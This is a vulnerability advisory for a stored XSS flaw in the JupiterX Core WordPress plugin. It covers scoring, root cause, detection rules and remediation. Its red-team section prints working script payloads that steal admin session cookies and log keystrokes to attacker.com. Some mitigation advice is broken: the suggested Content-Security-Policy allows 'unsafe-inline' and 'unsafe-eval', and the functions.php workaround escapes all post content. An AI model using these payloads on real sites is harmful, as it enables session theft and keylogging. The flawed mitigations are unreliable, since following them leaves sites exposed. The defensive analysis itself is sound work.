CVE-2025-58264

Executive Summary

CVE-2025-58264 is a Stored Cross-Site Scripting (XSS) vulnerability in the JupiterX Core plugin for WordPress, affecting versions up to and including 4.11.0. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts. These scripts are stored on the server and executed in the browsers of other users, including administrators, leading to session hijacking, defacement, or credential theft. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects the JupiterX Core plugin, a commercial WordPress plugin distributed via the Artbees marketplace and bundled with the JupiterX theme. Since it is not available on the official WordPress plugin repository, updates are managed through the vendor’s own system. The lack of a patch and the closed-source nature of the plugin increase supply chain risk, as site owners cannot independently verify the fix or apply a hotfix without vendor action.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs contributor-level access or higher.
• User Interaction: Required (UI:R) – victim must visit the compromised page.
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of content.
• Availability Impact: Low (A:L) – limited disruption.

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation (e.g., admin session hijacking) and the widespread use of JupiterX Core elevate the risk for WordPress ecosystems.

Deep Dive & Mechanics

The vulnerability resides in the jupiterx-core plugin, which provides extended functionality for the JupiterX WordPress theme. The plugin fails to properly sanitize user input before storing it in the database and later rendering it in web pages. Specifically, input fields such as custom post meta, shortcode attributes, or widget settings are not escaped, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An authenticated user with contributor-level access (or higher) crafts a malicious payload, e.g., <script>alert('XSS')</script>.
2. The payload is submitted via a vulnerable input field (e.g., a custom field in a post or a widget setting).
3. The plugin stores the payload in the WordPress database without sanitization.
4. When an administrator or other user views the affected page (e.g., a post, page, or widget area), the script executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses_post(). This is a classic Stored XSS pattern.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (Hypothetical):

// In a shortcode or widget rendering function
echo $user_input; // Direct output without sanitization

Patched Code (Hypothetical):

// Properly escape output
echo esc_html( $user_input ); // Escapes HTML entities

Key Difference: The patched version uses esc_html() to convert special characters (e.g., <, >, &) into their HTML entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site running JupiterX Core <= 4.11.0.
• An account with contributor-level privileges or higher.

Steps:

1. Log in to the WordPress admin panel.
2. Navigate to a vulnerable input field (e.g., a custom field in a post editor or a widget setting).
3. Inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the post or widget.
5. Wait for an administrator to visit the affected page. The script will execute, sending the admin’s session cookie to the attacker’s server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.com/log.php');
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
};
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual input patterns in post content, custom fields, and widget settings.
• Look for JavaScript code in database entries (e.g., SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%').
• Use Web Application Firewall (WAF) rules to block common XSS payloads.

Mitigation:

• Disable the JupiterX Core plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use WordPress security plugins (e.g., Wordfence) to add input validation.

Indicators of Compromise (IOCs)

• File System: Modified plugin files in /wp-content/plugins/jupiterx-core/ (unlikely, as XSS is stored in DB).
• Database: Entries in wp_posts, wp_postmeta, or wp_options containing <script> tags or event handlers (e.g., onload, onerror).
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: Unusual admin actions (e.g., new admin user creation) in WordPress audit logs.

Example Database IOC:

SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%' OR post_content LIKE '%onerror=%';

Detection Engineering

YARA Rule

rule CVE_2025_58264_JupiterX_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in JupiterX Core plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58264"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS in JupiterX Core Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress database entries
author: Valters IT
date: 2025/04/10
logsource:
    category: database
    product: mysql
detection:
    selection:
        query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58264 JupiterX Stored XSS - Outbound Cookie Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal.php"; http_uri; content:"cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the JupiterX Core plugin until a patch is released.
2. Review and clean any suspicious entries in the database (posts, meta, options).
3. Reset all user passwords and invalidate existing sessions.

Long-term Fixes:

• Apply the vendor patch once available (monitor Artbees updates).
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers:

  Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
  

• Use WordPress hardening plugins to add input validation and output escaping.

Workaround (if plugin cannot be disabled):

• Add custom code to functions.php to sanitize output:

  add_filter( 'the_content', 'esc_html' );
  add_filter( 'widget_text', 'esc_html' );
  

Valters IT
DevSecOps & Cyber Threat Intelligence